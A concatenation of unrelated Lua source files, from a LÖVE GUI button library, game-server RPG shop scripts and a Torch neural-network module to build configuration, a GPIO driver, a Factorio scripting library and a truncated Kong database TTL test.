if vertices[i] < minx then minx = vertices[i] end
if vertices[i] > maxx then maxx = vertices[i] end
if vertices[i+1] < miny then miny = vertices[i+1] end
if vertices[i+1] > maxy then maxy = vertices[i+1] end
table.insert(xt, vertices[i])
table.insert(yt, vertices[i+1])
end
properties.w, properties.h = math.abs(maxx - minx), math.abs(maxy - miny)
properties.centerx, properties.centery = average(xt), average(yt)
return setmetatable(properties, button)
end
--
function button.newRectangleButton(l,t,w,h,extra)
return button.newPolygonButton(
l, t,
{0, 0, w, 0,
w, h, 0, h},
extra
)
end
-- Circle button functionality not yet implemented
function button.newCircleButton(x,y,r,extra)
local properties = getDefault()
properties.centerx, properties.centery = x, y
properties.shape, properties.x, properties.y, properties.radius = lg.circle, x, y, r
properties = merge(properties, extra)
return setmetatable(properties, button)
end
--------------------------------------------
--------------Main Functions----------------
--Run these in their respective love loops--
--------------------------------------------
function button:update(dt)
local mx, my = love.mouse.getPosition()
if self:inBounds(mx, my) then
local press, key = self:keyPressed()
self.isPressed = (press and self.requireSelfClick and self.origPress) and true or false
if self.isHovering == false then
self.onEnter()
self.isHovering = true
end
if self.hoverTime > self.hoverFuncTime then
self.hover()
end
self.hoverTime = self.hoverTime + dt
self.isPrompting = self.hoverTime > self.hoverPromptTime and true or false
elseif self.isHovering == true then
self.onExit()
self.isHovering = false
self.hoverTime = 0
self.isPressed = false
self.isPrompting = false
end
end
function button:draw()
lg.push()
local fV = formatVariable
if self.visible then
local v = {}
if self.isHovering then table.insert(v, "hover") end
if self.isPressed then table.insert(v, "pressed") end
if self.selected then table.insert(v, "selected") end
local x, y = self.x + self.parent.x, self.y + self.parent.y
lg.translate(x, y)
-- draw
lg.setColor(self[fV("color", v)])
local im = self[fV("image", v)]
if im then
local w, h = self.w or self.radius * 2, self.h or self.radius * 2
lg.draw(im, 0, 0, self.rotation,
w/im:getWidth(), h/im:getHeight(),
self.radius and im:getWidth()/2, self.radius and im:getHeight()/2)
else
if self.shape == lg.polygon then
self.shape("fill", self.vertices)
else
self.shape("fill", 0,0, self.radius)
end
end
lg.setColor(self[fV("outlineColor", v)])
lg.setLineWidth(self[fV("outlineWidth", v)])
if self.shape == lg.polygon then
self.shape("line", self.vertices)
else
self.shape("line",
x, y,
w and w or self.radius, h and h or self.roundedCornersRadius,
self.roundedCornersRadius, self.roundedCornersRadius
)
end
-- rectangle for text background
lg.setColor( self[fV("textBackgroundColor", v)] )
local txt = self[fV("text", v)]
local tbb = self[fV("textBackgroundBuffer", v)]
local tr = self[fV("textRotation", v)]
lg.translate(self.textXOffset, self.textYOffset)
local tw, th = self.font:getWidth(txt), self.font:getHeight(txt)
local txtx, txty = self.centerx + self.textXOffset,
self.centery + self.textYOffset
if self.shape == lg.circle then
txtx, txty = lg.inverseTransformPoint(txtx, txty)
end
lg.rectangle("fill",
txtx - tbb - tw/2, txty - tbb - th/2,
tw + tbb*2, th + tbb*2
)
lg.setColor(self[fV("textColor", v)])
lg.setFont(self.font)
lg.print(txt, txtx, txty, tr, 1, 1, self.font:getWidth(txt)/2, self.font:getHeight()/2)
end
lg.pop()
end
function button:mousepressed(x, y, key, istouch, presses)
if self:inBounds(x,y) then
if self:keyPressed(key) then
self.origPress = true
self:onPress()
end
end
end
function button:mousereleased(x, y, key, istouch, presses)
if self:inBounds(x,y) then
if self.requireSelfClick and self.origPress or not self.requireSelfClick then
if self:keyPressed(key) then
self:onRelease()
end
end
end
self.origPress = false
end
function button:keypressed(key, istouch, presses)
if self:inBounds(love.mouse.getPosition()) then
if self:keyPressed(key) then
self.origPress = true
self:onPress()
end
end
end
function button:keyreleased(key, istouch, presses)
if self:inBounds(love.mouse.getPosition()) then
if self.requireSelfClick and self.origPress or not self.requireSelfClick then
if self:keyPressed(key) then
self:onRelease()
end
end
end
self.origPress = false
end
-- draws popup message Put in love's draw loop after other buttons it may overlap
function button:prompt()
if not self.isPrompting then return false end
lg.push()
local mx, my = love.mouse.getPosition()
local pW, pY = self.font:getWidth(self.hoverPromptText) + self.promptXBuffer * 2,
self.font:getHeight(self.hoverPromptText) + self.promptYBuffer * 2
-- these two lines slightly buggy. fix it
if self.lockPromptToWindow then
if mx + pW > lg.getWidth() then mx = lg.getWidth() - pW end
if my - pY/2 < 0 then my = pY/2 end
end
lg.setColor(self.promptColor)
lg.rectangle("fill", mx, my-self.font:getHeight(self.hoverPromptText), pW,pY)
lg.setColor(self.promptOutlineColor)
lg.setLineWidth(self.promptOutlineWidth)
lg.rectangle("line", mx, my-self.font:getHeight(self.hoverPromptText), pW, pY)
lg.setColor(self.promptTextColor)
lg.print(self.hoverPromptText, mx + self.promptXBuffer, my- self.font:getHeight()/2)
lg.pop()
end
--------------------------------------------
-------------Common Functions---------------
--------------------------------------------
function button:onRelease() end
function button:onPress() end
function button:onHoldPress() end
function button:hover() end
function button:onEnter() end
function button:onExit() end
-- Returns if x,y position is inside boundary of button
function button:inBounds(x,y)
x, y = lg.inverseTransformPoint(x - self.x, y - self.y)
if self.shape == lg.polygon then
local vert = self.vertices
local oddNodes = false
local j = #vert-1
for i = 1, #vert, 2 do
if (vert[i+1] < y and vert[j+1] >= y or
vert[j+1] < y and vert[i+1] >= y) then
if (vert[i] + ( y - vert[i+1] ) / (vert[j+1] - vert[i+1] ) * (vert[j] - vert[i]) < x) then
oddNodes = not oddNodes
end
end
j = i
end
return oddNodes
else
return dist(x, y, 0,0) <= self.radius
end
end
-- if key not passed, it will check if it is down.
function button:keyPressed(key)
for i = 1, #self.triggerMouse do
if key and key == self.triggerMouse[i] or not key and love.mouse.isDown(self.triggerMouse[i]) then
return true, self.triggerMouse[i]
end
end
for i = 1, #self.triggerKeyboard do
if key and key == self.triggerKeyboard[i] or not key and love.keyboard.isDown(self.triggerKeyboard[i]) then
return true, self.triggerKeyboard[i]
end
end
return false
end
-- Toggles if the button is considered selected or not.
-- If you want the button to have a toggled on/off state, run this inside it's onPress or onRelease functions
function button:toggle(bool)
self.selected = bool and bool or not self.selected
end
---------------------
----Set Functions----
---------------------
-- main set functions
function button:setVertices(...)
assert(self.shape == lg.polygon, "Button type is not a polygon.")
local verts = {...}
if type(verts[1]) == "table" then verts = verts[1] end
assert(#verts % 2 == 0, "Number of vertices must be an even number.")
self.vertices = verts
end
--[[
varargs (...) for the following functions can be use like...
false/nil will only set the main variable (the first one under if input == true)
true will set all button states to that variable
table of variable strings to set those variables
-- i.e. button:setText example
button:setText("this is a test button!", {"selectedText", "pressedSelectedText", "hoverSelectedText"})
]]
function button:setText(text, ...)
local input = ...
if input == true then
for v in simVarIter("Text") do
self[v] = text
end
elseif not input then
self.text = text
elseif type(input) == "table" then
for k,v in pairs( input ) do
self[v] = text
end
end
end
function button:setTextRotation(rotation, ...)
local input = ...
if input == true then
for v in simVarIter("TextRotation") do
self[v] = rotation
end
elseif not input then
self.textRotation = rotation
elseif type(input) == "table" then
for k,v in pairs( input ) do
self[v] = rotation
end
end
end
function button:setTextColor(col, ...)
local input = ...
if input == true then
for v in simVarIter("TextColor") do
self[v] = col
end
elseif not input then
self.textColor = col
elseif type(input) == "table" then
for k,v in pairs( input ) do
self[v] = col
end
end
end
function button:setTextBackgroundColor(col, ...)
local input = ...
if input == true then
for v in simVarIter("TextBackgroundColor") do
self[v] = col
end
elseif not input then
self.textBackgroundColor = col
elseif type(input) == "table" then
for k,v in pairs( input ) do
self[v] = col
end
end
end
function button:setTextBackgroundBuffer(buffer, ...)
local input = ...
if input == true then
for v in simVarIter("TextBackgroundBuffer") do
self[v] = buffer
end
elseif not input then
self.textBackgroundBuffer = buffer
elseif type(input) == "table" then
for k,v in pairs( input ) do
self[v] = buffer
end
end
end
function button:setImage(image, ...)
local input = ...
if input == true then
local im = formatImage(image)
for v in simVarIter("Image") do
self[v] = im
end
elseif not input then
self.image = formatImage( image )
elseif type(input) == "table" then
for k,v in pairs( input ) do
self[v] = formatImage( image )
end
end
end
function button:setColor(col, ...)
local input = ...
if input == true then
for v in simVarIter("Color") do
self[v] = col
end
elseif not input then
self.color = col
elseif type(input) == "table" then
for k,v in pairs( input ) do
self[v] = col
end
end
end
function button:setOutlineColor(col, ...)
local input = ...
if input == true then
for v in simVarIter("OutlineColor") do
self[v] = col
end
elseif not input then
self.outlineColor = col
elseif type(input) == "table" then
for k,v in pairs( input ) do
self[v] = col
end
end
end
function button:setOutlineWidth(w, ...)
local input = ...
if input == true then
for v in simVarIter("OutlineWidth") do
self[v] = w
end
elseif not input then
self.outlineWidth = w
elseif type(input) == "table" then
for k,v in pairs( input ) do
self[v] = w
end
end
end
-- function to clone button
return button
|
function rm_Heal(player)
local maxHealth = player:GetNumber("max_health")
local diffHealth = maxHealth - player:GetHealth()
if (diffHealth > 0) then
player:SendMessage("Healed " .. (diffHealth * 2) .. " HP")
player:SetHealth(player:GetNumber("max_health"))
end
end
function rm_SetSpawn(player)
for i=1,KAG.GetBlobsCount() do
local b = KAG.GetBlobByIndex(i)
if (b:GetConfigFileName() == "Entities/Rooms/RPG_Bedroom.cfg" and math.abs(b:GetX()-player:GetX()) <= 128 and math.abs(b:GetY()-player:GetY()) <= 64) then
local e = ENTITIES[b:GetID()]
if (e) then
player:SetNumber("respawn_x", e.x)
player:SetNumber("respawn_y", e.y)
player:SendMessage("New spawn point set! You will respawn here if you die or leave the server")
end
end
end
end
function rm_CheckShop(player)
end
function rm_SellCrap(player)
SellCrap(player)
end
function rm_Buy_SmallPotion(player)
local unitPrice = 50
local amount = 1
local price = unitPrice * amount
local currentCoins = player:GetNumber("coins")
if (currentCoins < price) then
player:SendMessage("Not enough coins in your wallet!")
return
end
player:SetNumber("coins", math.max(0, currentCoins - price))
player:SendMessage("Lost " .. price .. " coins")
InventoryAdd(player, GetItemByID("small-potion"), amount)
end
function rm_Buy_SmallPotion_10(player)
local unitPrice = 50
local amount = 10
local price = unitPrice * amount
local currentCoins = player:GetNumber("coins")
if (currentCoins < price) then
player:SendMessage("Not enough coins in your wallet!")
return
end
player:SetNumber("coins", math.max(0, currentCoins - price))
player:SendMessage("Lost " .. price .. " coins")
InventoryAdd(player, GetItemByID("small-potion"), amount)
end
function rm_Buy_SmallPotion_50(player)
local unitPrice = 50
local amount = 50
local price = unitPrice * amount
local currentCoins = player:GetNumber("coins")
if (currentCoins < price) then
player:SendMessage("Not enough coins in your wallet!")
return
end
player:SetNumber("coins", math.max(0, currentCoins - price))
player:SendMessage("Lost " .. price .. " coins")
InventoryAdd(player, GetItemByID("small-potion"), amount)
end
function rm_Buy_DamagePotion(player)
local price = 500
local currentCoins = player:GetNumber("coins")
if (currentCoins < price) then
player:SendMessage("Not enough coins in your wallet!")
return
end
player:SetNumber("coins", math.max(0, currentCoins - price))
player:SendMessage("Lost " .. price .. " coins")
InventoryAdd(player, GetItemByID("damage-potion"))
end
function rm_ReadSign(player)
for i=1,KAG.GetBlobsCount() do
local b = KAG.GetBlobByIndex(i)
if (b:GetConfigFileName() == "Entities/Rooms/RPG_Sign.cfg" and math.abs(b:GetX()-player:GetX()) <= 24 and math.abs(b:GetY()-player:GetY()) <= 24) then
local e = ENTITIES[b:GetID()]
if (e) then
if (type(e.onAction) == "function") then e.onAction(e, player, "read_sign") end
if (type(e.type.onAction) == "function") then e.type.onAction(e, player, "read_sign") end
break
end
end
end
end
function rm_DropSkulls(player)
for i=1,KAG.GetBlobsCount() do
local b = KAG.GetBlobByIndex(i)
if (b:GetConfigFileName() == "Entities/Rooms/RPG_Altar.cfg" and math.abs(b:GetX()-player:GetX()) <= 128 and math.abs(b:GetY()-player:GetY()) <= 64) then
local e = ENTITIES[b:GetID()]
if (e) then
if (type(e.onAction) == "function") then e.onAction(e, player, "drop_skulls") end
if (type(e.type.onAction) == "function") then e.type.onAction(e, player, "drop_skulls") end
break
end
end
end
end
function rm_UseAltar(player)
for i=1,KAG.GetBlobsCount() do
local b = KAG.GetBlobByIndex(i)
if (b:GetConfigFileName() == "Entities/Rooms/RPG_Altar.cfg" and math.abs(b:GetX()-player:GetX()) <= 128 and math.abs(b:GetY()-player:GetY()) <= 64) then
local e = ENTITIES[b:GetID()]
if (e) then
if (type(e.onAction) == "function") then e.onAction(e, player, "use_altar") end
if (type(e.type.onAction) == "function") then e.type.onAction(e, player, "use_altar") end
break
end
end
end
end
function rm_CheckTunnel(player)
for i=1,KAG.GetBlobsCount() do
local b = KAG.GetBlobByIndex(i)
if (b:GetConfigFileName() == "Entities/Rooms/RPG_Tunnel.cfg" and math.abs(b:GetX()-player:GetX()) <= 128 and math.abs(b:GetY()-player:GetY()) <= 64) then
local e = ENTITIES[b:GetID()]
if (e) then
if (type(e.onAction) == "function") then e.onAction(e, player, "check_tunnel") end
if (type(e.type.onAction) == "function") then e.type.onAction(e, player, "check_tunnel") end
break
end
end
end
end
function rm_FastTravel(player)
for i=1,KAG.GetBlobsCount() do
local b = KAG.GetBlobByIndex(i)
if (b:GetConfigFileName() == "Entities/Rooms/RPG_Tunnel.cfg" and math.abs(b:GetX()-player:GetX()) <= 128 and math.abs(b:GetY()-player:GetY()) <= 64) then
local e = ENTITIES[b:GetID()]
if (e) then
if (type(e.onAction) == "function") then e.onAction(e, player, "fast_travel") end
if (type(e.type.onAction) == "function") then e.type.onAction(e, player, "fast_travel") end
break
end
end
end
end
function rm_Buy_Head1(player)
BuyHead(player, 16)
end
function rm_Buy_Head2(player)
BuyHead(player, 17)
end
function rm_Buy_Head3(player)
BuyHead(player, 18)
end
function rm_Buy_Head4(player)
BuyHead(player, 19)
end
function rm_Buy_Head5(player)
BuyHead(player, 20)
end
function rm_Buy_Head6(player)
BuyHead(player, 21)
end
function rm_Buy_Head7(player)
BuyHead(player, 22)
end
function rm_Buy_Head8(player)
BuyHead(player, 23)
end
function rm_Buy_Head9(player)
BuyHead(player, 24)
end
function rm_Buy_Head10(player)
BuyHead(player, 25)
end
function rm_Buy_Head11(player)
BuyHead(player, 26)
end
function rm_Buy_Head12(player)
BuyHead(player, 27)
end
function rm_Buy_Head13(player)
BuyHead(player, 28)
end
function rm_Buy_Head14(player)
BuyHead(player, 29)
end
function rm_Buy_Head15(player)
BuyHead(player, 30)
end
function rm_Buy_Head16(player)
BuyHead(player, 31)
end
function rm_Buy_Head17(player)
BuyHead(player, 32)
end
function rm_Buy_Head18(player)
BuyHead(player, 33)
end
function rm_Buy_Head19(player)
BuyHead(player, 34)
end
function rm_Buy_Head20(player)
BuyHead(player, 35)
end
function rm_Buy_Head21(player)
BuyHead(player, 36)
end
function rm_Buy_Head22(player)
BuyHead(player, 37)
end
function rm_Buy_Head23(player)
BuyHead(player, 38)
end
function rm_Buy_Head24(player)
BuyHead(player, 39)
end
function rm_Buy_Head25(player)
BuyHead(player, 40)
end
function rm_Buy_Head26(player)
BuyHead(player, 41)
end
function rm_Buy_Head27(player)
BuyHead(player, 42)
end
function rm_Buy_Head28(player)
BuyHead(player, 43)
end
function rm_Buy_Head29(player)
BuyHead(player, 0)
end
function rm_Buy_Head30(player)
BuyHead(player, 1)
end
function rm_Buy_Head31(player)
BuyHead(player, 2)
end
function rm_Buy_Head32(player)
BuyHead(player, 3)
end
function rm_Buy_Head33(player)
BuyHead(player, 4)
end
|
local dragging = false;
function onInit()
-- determine if node is static
if window.getDatabaseNode().isStatic() then
setVisible(false);
return
end
-- set the hover cursor
setHoverCursor("hand");
end
function onDragStart(button, x, y, draginfo)
dragging = false;
return onDrag(button, x, y, draginfo);
end
function onDrag(button, x, y, draginfo)
if not dragging then
local sourcenode = window.getDatabaseNode();
local skillsnode = window.getDatabaseNode().getChild("skills");
local initskillnode = nil;
local initskillname = "";
--Debug.console("Skills node = " .. skillsnode.getNodeName());
if self.getName() == "combat_init_cool_btn" then
initskillname = "Cool (Pr)";
elseif self.getName() == "combat_init_vigilance_btn" then
initskillname = "Vigilance (Will)";
end
for k,v in pairs(skillsnode.getChildren()) do
--Debug.console("Looking at current child: " .. k);
if v.getChild("name").getValue() == initskillname then
--Debug.console("Have the " .. initskillname .. " db node = " .. v.getNodeName());
initskillnode = v;
break;
end
end
-- Try secondary skills of "Cool" or "Vigilance" (named without the characterstic)
if not initskillnode then
if self.getName() == "combat_init_cool_btn" then
initskillname = "Cool";
elseif self.getName() == "combat_init_vigilance_btn" then
initskillname = "Vigilance";
end
for k,v in pairs(skillsnode.getChildren()) do
--Debug.console("Looking at current child: " .. k);
if v.getChild("name").getValue() == initskillname then
--Debug.console("Have the " .. initskillname .. " db node = " .. v.getNodeName());
initskillnode = v;
break;
end
end
end
-- TODO: Need to code for no match in skills - i.e. use characteristic score only.
local dice = {};
DicePoolManager.addSkillDice(initskillnode, dice);
if table.getn(dice) > 0 then
draginfo.setType("skill");
if initskillnode.getChild("name") then
draginfo.setDescription(initskillnode.getChild("name").getValue() .. " [INIT]");
end
draginfo.setDieList(dice);
draginfo.setDatabaseNode(initskillnode);
dragging = true;
return true;
end
end
return false;
end
function onDragEnd(draginfo)
dragging = false;
end
-- Allows population of the dice pool by a double-click on the dice button by the skill
function onDoubleClick()
Debug.console("initdicepool.lua - onDoubleClick");
--local sourcenode = window.getDatabaseNode();
local skillsnode = window.getDatabaseNode().getChild("skills");
if not skillsnode then
return;
end
local initskillnode = nil;
local initskillname = "";
--Debug.console("Skills node = " .. skillsnode.getNodeName());
if self.getName() == "combat_init_cool_btn" then
initskillname = "Cool (Pr)";
elseif self.getName() == "combat_init_vigilance_btn" then
initskillname = "Vigilance (Will)";
end
for k,v in pairs(skillsnode.getChildren()) do
--Debug.console("Looking at current child: " .. k);
if v.getChild("name").getValue() == initskillname then
--Debug.console("Have the " .. initskillname .. " db node = " .. v.getNodeName());
initskillnode = v;
break;
end
end
-- Try secondary skills of "Cool" or "Vigilance" (named without the characterstic)
if not initskillnode then
if self.getName() == "combat_init_cool_btn" then
initskillname = "Cool";
elseif self.getName() == "combat_init_vigilance_btn" then
initskillname = "Vigilance";
end
for k,v in pairs(skillsnode.getChildren()) do
Debug.console("Looking at current child: " .. k);
if v.getChild("name").getValue() == initskillname then
initskillnode = v;
break;
end
end
end
-- TODO: Need to code for no match in skills - i.e. use characteristic score only.
local dice = {};
local skilldescription;
local msgidentity = DB.getValue(initskillnode, "...name", "");
DicePoolManager.addSkillDice(initskillnode, dice);
if table.getn(dice) > 0 then
if initskillnode.getChild("name") then
skilldescription = initskillnode.getChild("name").getValue() .. " [INIT]";
end
DieBoxManager.addSkillDice(skilldescription, dice, initskillnode, msgidentity);
end
end
|
object_tangible_loot_creature_loot_collections_space_reactor_mark_04_koensayr = object_tangible_loot_creature_loot_collections_space_shared_reactor_mark_04_koensayr:new {
}
ObjectTemplates:addTemplate(object_tangible_loot_creature_loot_collections_space_reactor_mark_04_koensayr, "object/tangible/loot/creature/loot/collections/space/reactor_mark_04_koensayr.iff")
|
local BinarizedNeurons,parent = torch.class('BinarizedNeurons', 'nn.Module')
function BinarizedNeurons:__init(stcFlag)
parent.__init(self)
self.stcFlag = stcFlag
self.randmat=torch.Tensor();
self.outputR=torch.Tensor();
end
function BinarizedNeurons:updateOutput(input)
self.randmat:resizeAs(input);
self.outputR:resizeAs(input);
self.output:resizeAs(input);
self.outputR:copy(input):add(1):div(2)
if self.train and self.stcFlag then
local mask=self.outputR-self.randmat:rand(self.randmat:size())
self.output=mask:sign()
else
self.output:copy(self.outputR):add(-0.5):sign()
end
return self.output
end
function BinarizedNeurons:updateGradInput(input, gradOutput)
self.gradInput:resizeAs(gradOutput)
self.gradInput:copy(gradOutput) --:mul(0.5)
return self.gradInput
end
|
-------------------------------------------------------------------------------
-- Spine Runtimes Software License v2.5
--
-- Copyright (c) 2013-2016, Esoteric Software
-- All rights reserved.
--
-- You are granted a perpetual, non-exclusive, non-sublicensable, and
-- non-transferable license to use, install, execute, and perform the Spine
-- Runtimes software and derivative works solely for personal or internal
-- use. Without the written permission of Esoteric Software (see Section 2 of
-- the Spine Software License Agreement), you may not (a) modify, translate,
-- adapt, or develop new applications using the Spine Runtimes or otherwise
-- create derivative works or improvements of the Spine Runtimes or (b) remove,
-- delete, alter, or obscure any trademarks or any copyright, trademark, patent,
-- or other intellectual property or proprietary rights notices on or in the
-- Software, including any copy thereof. Redistributions in binary or source
-- form must include this license and terms.
--
-- THIS SOFTWARE IS PROVIDED BY ESOTERIC SOFTWARE "AS IS" AND ANY EXPRESS OR
-- IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-- MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO
-- EVENT SHALL ESOTERIC SOFTWARE BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
-- PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, BUSINESS INTERRUPTION, OR LOSS OF
-- USE, DATA, OR PROFITS) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
-- IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
-- ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-- POSSIBILITY OF SUCH DAMAGE.
-------------------------------------------------------------------------------
local setmetatable = setmetatable
local utils = require "spine-lua.utils"
local Color = {}
Color.__index = Color
function Color.new ()
local self = {
r = 0, g = 0, b = 0, a = 0
}
setmetatable(self, Color)
return self
end
function Color.newWith (r, g, b, a)
local self = {
r = r, g = g, b = b, a = a
}
setmetatable(self, Color)
return self
end
function Color:set(r, g, b, a)
self.r = r
self.g = g
self.b = b
self.a = a
end
function Color:setFrom(color)
self.r = color.r
self.g = color.g
self.b = color.b
self.a = color.a
end
function Color:add(r, g, b, a)
self.r = self.r + r
self.g = self.g + g
self.b = self.b + b
self.a = self.a + a
self:clamp()
end
function Color:clamp()
self.r = utils.clamp(self.r, 0, 1)
self.g = utils.clamp(self.g, 0, 1)
self.b = utils.clamp(self.b, 0, 1)
self.a = utils.clamp(self.a, 0, 1)
end
return Color
|
project "stb_vorbis"
uuid "E0D81662-85EF-4172-B0D8-F8DCFF712607"
language "C"
location ( "../../build/" .. mpt_projectpathname .. "/ext" )
mpt_projectname = "stb_vorbis"
dofile "../../build/premake/premake-defaults-LIBorDLL.lua"
dofile "../../build/premake/premake-defaults.lua"
dofile "../../build/premake/premake-defaults-strict.lua"
dofile "../../build/premake/premake-defaults-winver.lua"
targetname "openmpt-stb_vorbis"
includedirs { }
filter {}
filter { "action:vs*" }
characterset "Unicode"
filter {}
defines { "STB_VORBIS_NO_PULLDATA_API", "STB_VORBIS_NO_STDIO" }
files {
"../../include/stb_vorbis/stb_vorbis.c",
}
filter { "action:vs*" }
buildoptions { "/wd4005", "/wd4100", "/wd4244", "/wd4245", "/wd4701" }
filter {}
filter { "kind:SharedLib" }
files { "../../build/premake/def/ext-stb_vorbis.def" }
filter {}
|
local GPIO = require('periphery').GPIO
local gpioswitch = {}
gpioswitch.__index = gpioswitch
setmetatable(gpioswitch, {__call = function(self, ...) return self.new(...) end})
-- xor for boolean type
local function xor(a, b)
return (a and not b) or (not a and b)
end
function gpioswitch.new(configuration)
local self = setmetatable({}, gpioswitch)
if #configuration.variables ~= 1 then
error("invalid number of state variables in configuration. expected 1")
elseif configuration.gpio_number == nil then
error("missing gpio_number in configuration")
elseif configuration.active_low == nil then
error("missing active_low boolean in configuration")
elseif configuration.initial_value == nil then
error("missing initial_value boolean in configuration")
end
self.variable = configuration.variables[1]
self.active_low = configuration.active_low
-- Open GPIO with initial value
local dir = {[false] = "low", [true] = "high"}
self.gpio = GPIO(configuration.gpio_number, dir[xor(configuration.initial_value, self.active_low)])
return self
end
function gpioswitch:process(state)
-- Write GPIO
self.gpio:write(xor(state[self.variable], self.active_low))
end
return gpioswitch
|
include("shared.lua")
function ENT:Draw()
self.BaseClass.Draw(self)
if self:IsDroneWorkable() and not DRONES_REWRITE.ClientCVars.NoGlows:GetBool() then
local pos = self:GetAttachment(self:LookupAttachment("light")).Pos
local dlight = DynamicLight(self:EntIndex())
if dlight then
dlight.pos = pos
dlight.r = 0
dlight.g = 255
dlight.b = 0
dlight.brightness = 1
dlight.Decay = 1000
dlight.Size = 80
dlight.DieTime = CurTime() + 0.1
end
render.SetMaterial(Material("particle/particle_glow_04_additive"))
render.DrawSprite(pos, 8, 8, Color(0, 255, 0, 100))
end
end
function ENT:Think()
self.BaseClass.Think(self)
local cam = self:GetCamera()
if cam:IsValid() then
local ang = self:WorldToLocalAngles(cam:GetAngles())
self:SetPoseParameter("aim_yaw", ang.y)
self:SetPoseParameter("aim_pitch", ang.p)
self:InvalidateBoneCache()
end
end
|
--[[
Initializes the game and hands control over to the game loop
]]
local ussuri = require("ussuri")
local lib
local world
local game
function love.load()
lib = ussuri.lib
love.graphics.setDefaultImageFilter("nearest", "nearest")
love.audio.setDistanceModel("inverse")
ussuri:lib_folder_load("game")
ussuri:lib_folder_load("lost")
world = lib.game.world:new()
world.map_manage:load_maps("asset/map/")
game = lib.lost.game_manage:new(world)
world.game = game
game:start()
ussuri.event:event_hook_object({"update", "draw", "keydown", "mousedown"}, game)
end
|
-- who: `core.lua`
-- what: Standard library for the Flang language
-- Add our class to the global namespace for lua functions
-- The module name should be capitalized. It also should be
-- unique, otherwise module overwriting will occur.
local Core = {}
Core.__index = Core
Flang.LuaFunction.Core = Core
-- Now start adding your functions below
--[[
* "wrapper" is the flang runner (Factorio) state information for
the chip itself. This argument is passed into every function call.
See `FlangChip.lua` for the contents. You can expect the chip entity
for example.
* "flangArguments" is an array of arguments from the Flang code itself. It is 1 indexed.
]]
function Core:helloWorld(wrapper, flangArguments)
-- Your function can return values back to the code in a table
return {
-- This key is actually returned to the code
result = flangArguments[1] + 1
}
end
function Core:tick(wrapper, flangArguments)
return {
result = Flang.tick
}
end
function Core:luaPrint(wrapper, flangArguments)
print(Util.concat_table_to_string(flangArguments))
return nil
end
function Core:print(wrapper, flangArguments)
local msg = Util.concat_table_to_string(flangArguments)
wrapper.printer(wrapper.entity, msg, false)
return nil
end
-- args = (index, virtual signal name suffix, signal count)
function Core:writeVirtualSignal(wrapper, flangArguments)
local signalType = "virtual"
local entity = wrapper.entity
local signalIndex = flangArguments[1]
local signalName = "signal-" .. flangArguments[2]
local signalCount = flangArguments[3]
return writeSignal(entity, signalIndex, signalType, signalName, signalCount)
end
-- args = (index, signal name, signal count)
function Core:writeItemSignal(wrapper, flangArguments)
local signalType = "item"
local entity = wrapper.entity
local signalIndex = flangArguments[1]
local signalCount = flangArguments[3]
local signalName = flangArguments[2]
return writeSignal(entity, signalIndex, signalType, signalName, signalCount)
end
-- args = (virtual signal name, network color)
function Core:readVirtualSignal(wrapper, flangArguments)
local signalType = "virtual"
local entity = wrapper.entity
local signalName = "signal-" .. flangArguments[1]
local circuitNetworkName = flangArguments[2]
return readSignal(entity, circuitNetworkName, signalType, signalName)
end
function Core:readItemSignal(wrapper, flangArguments)
local signalType = "item"
local entity = wrapper.entity
local signalName = flangArguments[1]
local circuitNetworkName = flangArguments[2]
return readSignal(entity, circuitNetworkName, signalType, signalName)
end
-----------------------------------------------------------------------
-- Private functions
-----------------------------------------------------------------------
-- signalType -> "item" or "virtual"
function writeSignal(entity, signalIndex, signalType, signalName, signalCount)
if (signalIndex < 0 or signalIndex > 100) then
-- This is a game ending exception...
-- Let's just soft crash!
return {
hasError = true,
errorMessage = "Core:Write Signal cannot accept a signal index outside the bounds [0..100]"
}
end
local combinatorBehavior = entity.get_control_behavior()
combinatorBehavior.set_signal(signalIndex, {
signal = {
type = signalType,
name = signalName
},
count = signalCount
})
end
function readSignal(entity, circuitNetworkName, signalType, signalName)
if (entity == nil) then
return {
hasError = true,
errorMessage = "Entity is nil"
}
end
local combinatorBehavior = entity.get_control_behavior()
-- Check the network type
local circuitNetworkColor
if (circuitNetworkName == "red") then
circuitNetworkColor = defines.wire_type.red
elseif (circuitNetworkName == "green") then
circuitNetworkColor = defines.wire_type.green
elseif (circuitNetworkName == "copper") then
circuitNetworkColor = defines.wire_type.copper
else
return {
hasError = true,
errorMessage = "Circuit network with name " .. circuitNetworkName .. " is invalid. Try ['red', 'green', 'copper']"
}
end
local circuitNetwork = combinatorBehavior.get_circuit_network(circuitNetworkColor)
if (circuitNetwork == nil) then
return {
hasError = true,
errorMessage = "Core:Read Signal has no network attached on type: " .. circuitNetworkName
}
end
local signal = {
type = signalType,
name = signalName
}
return {
result = circuitNetwork.get_signal(signal)
}
end
|
local helpers = require "spec.helpers"
for _, strategy in helpers.each_strategy() do
-- Note: ttl values in all tests need to be at least 2 because
-- the resolution of the ttl values in the DB is one second.
-- If ttl is 1 in the test, we might be unlucky and have
-- the insertion happen at the end of a second and the subsequent
-- `find` operation to happen at the beginning of the following
-- second.
describe("TTL with #" .. strategy, function()
local dao
setup(function()
_, _, dao = helpers.get_db_utils(strategy)
end)
before_each(function()
dao.apis:truncate()
if strategy == "postgres" then
dao.db:truncate_table("ttls")
end
end)
it("on insert", function()
local api, err = dao.apis:insert({
name = "example",
hosts = { "example.com" },
upstream_url = "http://example.com"
}, { ttl = 2 })
assert.falsy(err)
local row, err = dao.apis:find {id = api.id}
assert.falsy(err)
assert.truthy(row)
helpers.wait_until(function()
row, err = dao.apis:find {id = api.id}
assert.falsy(err)
return row == nil
end, 10)
end)
it("on update", function()
local api, err = dao.apis:insert({
name = "example",
hosts = { "example.com" },
upstream_url = "http://example.com"
}, { ttl = 2 })
assert.falsy(err)
local row, err = dao.apis:find {id = api.id}
assert.falsy(err)
assert.truthy(row)
-- Updating the TTL to a higher value
dao.apis:update({ name = "example2" }, { id = api.id }, { ttl = 3 })
row, err = dao.apis:find { id = api.id }
